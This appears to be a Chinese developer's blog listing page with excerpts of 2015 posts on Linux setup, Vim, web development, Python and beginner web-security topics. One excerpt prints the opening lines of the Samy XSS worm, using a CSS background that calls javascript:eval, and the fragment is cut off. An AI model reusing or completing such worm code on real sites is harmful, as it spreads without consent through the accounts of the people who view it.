- 博客(34)
- 资源 (8)
- 收藏
- 关注
原创 Linux 安装、卸载程序
欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦:Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键快捷键加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl
2015-12-29 16:25:11
622
原创 VIM私人配置
Vundle(Vim bundle) 是一个vim的插件管理器。git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle配置.vimrc文件 set nocompatible " be iMproved filetype off
2015-12-20 22:18:16
2418
原创 在ubuntu搭建AngularJS+Ionic+Cordova环境
第一步:安装node.js# apt-get update# apt-get install -y python-software-properties software-properties-common# add-apt-repository ppa:chris-lea/node.js# apt-get update# apt-get install nodejs第二步:java sdk
2015-12-10 23:05:05
1960
原创 linux下virtualbox和wine
重装完系统后,将备份的虚拟镜像导入virtualbox,但是可能会遇到一些问题 一:错误信息如下:不能为虚拟电脑 xp 打开一个新任务.Could not open the medium '/media/soft/xp/xp.vdi'.VD: error VERR_FILE_NOT_FOUND opening image file '/media/soft/xp/xp.vdi' (VERR_FIL
2015-12-01 23:28:08
1771
原创 SSH原理与运用
远程登录http://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html远程操作与端口转发http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
2015-11-30 02:45:09
405
原创 数字签名是什么
http://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html
2015-11-30 02:41:43
340
原创 搭建ftp服务器
安装ftpsudo apt-get install vsftpd新建用户为了安全,我们新建一个专门登陆ftp的用户sudo mkdir/home/ftpname #新建用户文件夹sudo useradd -d /home/ftpname -s /bin/bash ftpname #新建用户sudo passwd ftpname #为新建的用户添加密码配置/etc/vsft
2015-11-09 17:42:43
497
原创 洛神赋
黄初三年,余朝京师,还济洛川。古人有言,斯水之神,名曰宓妃。感宋玉对楚王神女之事,遂作斯赋,其词曰: 余从京域,言归东藩,背伊阙 ,越轘辕,经通谷,陵景山。日既西倾,车殆马烦。尔乃税驾乎蘅皋,秣驷乎芝田,容与乎阳林,流眄乎洛川。于是精移神骇,忽焉思散。俯则未察,仰以殊观。睹一丽人,于岩之畔。乃援御者而告之曰:“尔有觌于彼者乎?彼何人斯,若此之艳也!”御者对曰:“臣闻河洛之神,名曰宓妃。然则君王所见,
2015-11-09 00:10:07
469
原创 gcc命令
gcc命令使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。 语法gcc(选项)(参数) 选项-o:指定生成的输出文件;-E:仅执行编译预处理;-S:将C
2015-11-08 14:06:46
320
原创 构建动态网站之安装lamp组件(分别安装)
第一步: 安装基本的编译环境apt-get install build-essential 第二步: 安装MySQLapt-get install mysql-serverorsudo apt-get purge mysql-server mysql-client mysql-common mysql-server-5.5sudo apt-get instal
2015-11-07 13:44:26
352
原创 linux debian
1\Debian中安装使用sudo命令 apt-get install sudo2\E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用) E: 无法锁定管理目录:解决办法强制解锁,命令sudo rm /var/cache/apt/archives/locksudo rm /var/lib/dpkg/lock 3\“更换介质:请把
2015-11-07 13:22:39
777
原创 构建动态网站之域名解析
将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。一个域名对应一个IP地址,一个IP地址可以对应多个域名;所以多个域名可以同时被解析到一个IP地址。 域名解析需要由专门的域名解析服务器(DNS)来完成。1、A记录解析 记录类型选择“A”;记录值填写空间商提供的主机IP地址;MX优先级不需要设置;TTL设置默认的3600即可
2015-11-07 11:53:44
429
转载 向前辈学习之土司创始人xiaomi
本期采访的人物是xiaomi,好友们习惯称其为米总,土司创始人之一。为人低调,喜结朋友。虽然没有甲方的工作经验,但圈子内的人脉关系还是很广。也正是这种人脉,云集了当时的顶尖黑客与白帽子,然后才有了土司。土司(T00LS)论坛是中国为数不多的信息安全(黑客)组织。从2006年发展至今,土司论坛与会员们一起见证了中国互联网信息安全的发展。不论是在今年315晚会上大谈特谈无线安全的杨卿,还是就职于360公
2015-11-07 10:44:04
859
原创 debian安装sublime text 3
第一步:解压tar.gz文件 第二步:将解压后的文件夹添加到/opt cp -r 源文件 目标文件夹 第三步:添加软链接 ln -s /opt/subime(实际文件夹)/sublime_text /usr/bin/sublime此时在命令行里输入sublime即可打开
2015-11-07 10:28:34
1831
原创 Samy 蠕虫代码
<div id=mycode style=”BACKGROUND: url('javascript:eval(document.all.mycode.expr)')”expr=”var B = String.fromCharCode(34);var A = String.fromCharCode(39);function g() {var C;try {var D = document
2015-11-02 16:13:29
1721
原创 《WEB前端黑客技术揭秘》基础知识(二)之深入理解iframe
深入理解iframeiframe是内联框架。 写法:<iframe id="corelframe" name="corelframe" src="/blank.html"></iframe>常用属性: 1.frameborder:是否显示边框,yes,no。 2.height:框架作为一个普通元素的高度,建议在使用css设置。 3.width:框架作为一个普通元素的宽度,建议使用css设
2015-10-31 15:47:55
768
原创 排序算法(持续更新...)
#include <stdio.h>const MAXSIZE = 20;typedef struct { RcdType r[MAXSIZE + 1]; int length;} SqList;//**select sort**void selectsort(SqList &L){ RcdType w; int i, j, k; for(i
2015-10-30 14:09:06
349
原创 python之数据库db模块
#!/usr/bin/env python# -*- coding: utf-8 -*-import time, threading, uuid, logging,functoolsclass Dict(dict): def __init__(self, names=(), **kw): super(Dict, self).__init__(**kw) f
2015-10-30 14:05:32
2035
原创 《WEB前端黑客技术揭秘》基础知识(一)
前言:基础太烂,在这做一下记录,对基础知识进行学习。URL:统一资源定位符。 超文本传输协议(HTTP)的统一资源定位符将从因特网获取信息的五个基本元素包括在一个简单的地址中:1、传送协议。 2、服务器。(通常为域名,有时为IP地址) 3、端口号。(以数字方式表示,若为HTTP的预设值“:80”可省略) 4、路径。(以“/”字元区别路径中的每一个目录名称) 5、查询。(GET模式
2015-10-25 15:06:40
3447
原创 debian安装mysql
一、# aptitude install mysql-server mysql-client二、root账户密码设置:简单好记三、安装驱动$ easy_install mysql-connector-python$ easy_install MySQL-python遇到的问题:1、安装驱动时遇到EnvironmentError:
2015-08-27 21:50:35
644
原创 ubuntu系统美化
sudo apt-get install plymouth-theme-[TAB] 可以看到有很多主题的sudo apt-get install plymouth-theme-ubuntu-logo这个是ubuntu的主题,安装好了重启应该就生效了 如果没有生效,用下面的命令手动设置主题sudo update-alternatives –config default.plymouth去掉登陆界面u
2015-06-20 12:35:00
618
转载 什么是SQL注入
SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。随着B/S模式被广泛的应用,用这种模式编写应用程序的程序员也越来越多,但由于开发人员的水平和经验参差不齐,相当一部分的开发人员在编写代码的时候,没有对用户的输入数据或者是页面中所携带的信息(如Cookie)进行必要的合法性判断,导致了攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得
2015-06-12 15:56:57
393
转载 Linux是一门真正的黑客高手艺术
我好像找到正确的方向了================================================================== 正文: 黑客这个词从诞生到现在,从来就没有解释为“高级入侵者”、“病毒制造者”或者“QQ盗号者”过。我至今不清楚在中国是谁先把黑客和这些无聊的词汇联系在了一起,导致如此多的人被误导。但有一点是肯定的,不负责任的媒体一直侮辱这两个字。那个写熊猫
2015-06-11 23:47:28
1045
1
转载 XAMPP在Ubuntu下详细的安装与启动步骤
1、下载:首先通过wget下载 xampp linux 1.7.3a版本,地址为http://sourceforge.net/projects/xampp/files/XAMPP%20Linux/xampp-linux-1.7.3a.tar.gz记住在Ubuntu下使用wget的时候前面要加sudo具体为:sudo wegt http://sourceforge.net/projects/xampp
2015-06-11 23:13:49
631
原创 Ubuntu重新安装ubuntu unity
问题描述:Ubuntu登录后桌面一片空白,什么都没有。左侧启动器没有,上方任务栏也没有,就是桌面登录后假死状态。在网上查询了很多资料,都无法修复,最终只能重新安装Ubuntu unity了。====================================================================================== 下面是安装过程。1,Ctrl+alt
2015-06-10 12:15:17
13491
转载 linux之vim设置行号
1.打开终端,在命令行中输入cd /etc/vim 后敲回车,进入/etc/vim目录;2.进入etc/vim目录后,找到vimrc文件(vim的初始化文件),使用cp命令对其进行备份,命令为:cp vimrc vimrc.bak(备份是一种安全机制,要谨记);3.用管理员权限打开vimrc,命令为:sudo vi vimrc 4.打开后,在vimrc文件最后加入一行命令:set
2015-06-06 13:53:17
2354
原创 解压.gz或者.bz2格式的文件出现错误提示
tar (child): Firefox-latest-x86_64.tar.bz2:无法 open: 没有那个文件或目录tar (child): Error is not recoverable: exiting nowtar: Child returned status 2tar: Error is not recoverable: exiting now解决办法:1.首先用 file
2015-06-06 01:36:06
1688
转载 构造函数和析构函数
1、构造函数 C++提供了构造函数(constructor)来处理对象的初始化。在建立对象时自动执行。构造函数的名字必须与类名同名,它不具有任何类型,不返回任何值。构造函数的功能是由用户定义的,用户根据初始化的要求设计函数体和函数参数。在类对象进入其作用域时调用构造函数。构造函数没有返回值,因此也不需要在定义构造函数时声明类型,这是它和一般函数的一个重要的不同之点。 如果构造函数不带参数,在函
2015-06-02 21:28:43
699
转载 学习黑客的基本环境
一、操作系统的选择: 我们经常听说黑客酷爱Linux系统,这是因为Linux相对Windows提供了更加灵活的操作方式,更加强大的功能。例如对于IP地址的伪造工作,利用Linux系统编写特殊的IP头信息可以轻松完成,然而在Windows系统下却几乎不可能做到。但是Linux也有它不足的一面,这个系统的命令庞杂、操作复杂,并不适合初学者使用,而且对于个人学习者,并没有过多的人会放弃“舒适”的Wi
2015-05-16 17:57:16
1217
转载 常用黑客软件用途分类
一、防范: 这是从安全的角度出发涉及的一类软件,例如防火墙、查病毒软件、系统进程监视器、端口管理程序等都属于此类软件。这类软件可以在最大程度上保证电脑使用者的安全和个人隐私,不被黑客破坏。网络服务器对于此类软件的需要也是十分重视的,如日志分析软件、系统入侵软件等可以帮助管理员维护服务器并对入侵系统的黑客进行追踪。 二、信息搜集: 信息搜集软件种类比较多,包括端口扫描、漏洞扫描、弱口令扫
2015-05-16 17:53:49
794
转载 网络安全术语解释
一、协议: 网络是一个信息交换的场所,所有接入网络的计算机都可以通过彼此之间的物理连设备行信息交换,这种物理设备包括最常见的电缆、光缆、无线WAP和微波等,但是单纯拥有这些物理设备并不能实现信息的交换,这就好像人类的身体不能缺少大脑的支配一样,信息交换还要具备软件环境,这种“软件环境”是人类实现规定好的一些规则,被称作“协议”,有了协议,不同的电脑可以遵照相同的协议使用物理设备,并且不会造成相
2015-05-16 17:49:29
1402
原创 课程设计---企业职工工资管理系统
课程设计目的和要求工资管理要和人事管理相联系,生成企业每个职工的实际发放工资。企业职工人事基本信息包括:职工编号、姓名、性别、出生日期、职称(助工、工程师、高级工程师)和任职年限。企业职工工资信息包括:职工编号、姓名、职务工资、职务补贴、住房补贴、应发工资、个人所得税、养老保险、住房公积金和实发工资。系统主要功能包括:(1) 创建职工人事基本信息文件,根据提示输入职工
2015-01-09 11:51:28
5779
3
PythonProgramming核心编程第二版+答案
2016-01-20
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人